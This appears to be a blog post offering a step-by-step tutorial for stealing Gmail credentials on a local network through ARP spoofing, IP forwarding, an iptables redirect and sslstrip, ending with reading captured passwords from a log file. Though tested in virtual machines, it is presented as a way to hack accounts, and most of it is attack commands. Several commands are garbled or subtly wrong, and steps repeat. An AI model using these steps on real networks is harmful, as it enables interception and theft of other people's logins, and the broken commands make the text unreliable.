Hack GMAIL account using Linux

Test gmail account :
Email adress: anounymoususer@gmail.com
Password : hackedbefore

Steps:
1. Know the IP adress and Default Gatway adress of vectim's machine.
2.Enable IP forwarding in kali linux.
3.Confgure IPTABLES rule in kali linux.
4.start ssl striping deamon in kali linux
5.ARPSPOOF the gatway in kali linux.

virtual machine tested windows 8 and kali operating system

the number one machine is the vectim (windows 8 )
the number two is attacker machine (kali linux)


in this case you need to get the adress ip machine
.
in this case you need to get the adress ip machine

so the ip adress here is 192.168.96.130
subnet mask 255.255.255.0
Default Gateway is : 192.168.96.2



2.Enable IP forwarding in kali linux.
cat /proc/sys/net/ipv4/ip_forward
echo "1" >/proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/net/ipv4/ip_forward

here we make kali linux as router

.

3.Confgure IPTABLES rule in kali linux.
iptables -t net -a PREROUTING -p tcp --destination-port-80 -j REDIRECT --to-port- 7777

.
..to check the command is correct and working or not

next step is :
4.start ssl striping deamon in kali linux

.start ssl strip
.

.the command is sslstrip -l 7777 -w dumppasswd.log and press entre

and the next step is perform ARP spoofing with the default gatway
5.ARPSPOOF the gatway in kali linux.


open the terminal and the command is arpspoof -i eth0 -t 192.168.96.130 192.168.96.2 press entre
to find the name net card type this command

ifconfig -a
* we need get the adress ip machine
*ip adress here is 192.168.96.130
*subnet mask 255.255.255.0
*Default Gateway is : 192.168.96.2


[Test local]
go to try login in gmail account in vectim machine
Open browser
.and go to gmail and type the pass and email
.this is the ssl streaming result
.
type ls -lart to see all files requested
.

open the dumppasswd.log using this command
less dumppasswd.log

*.you can see the password and email
*look in the picture below

Comments

Popular Posts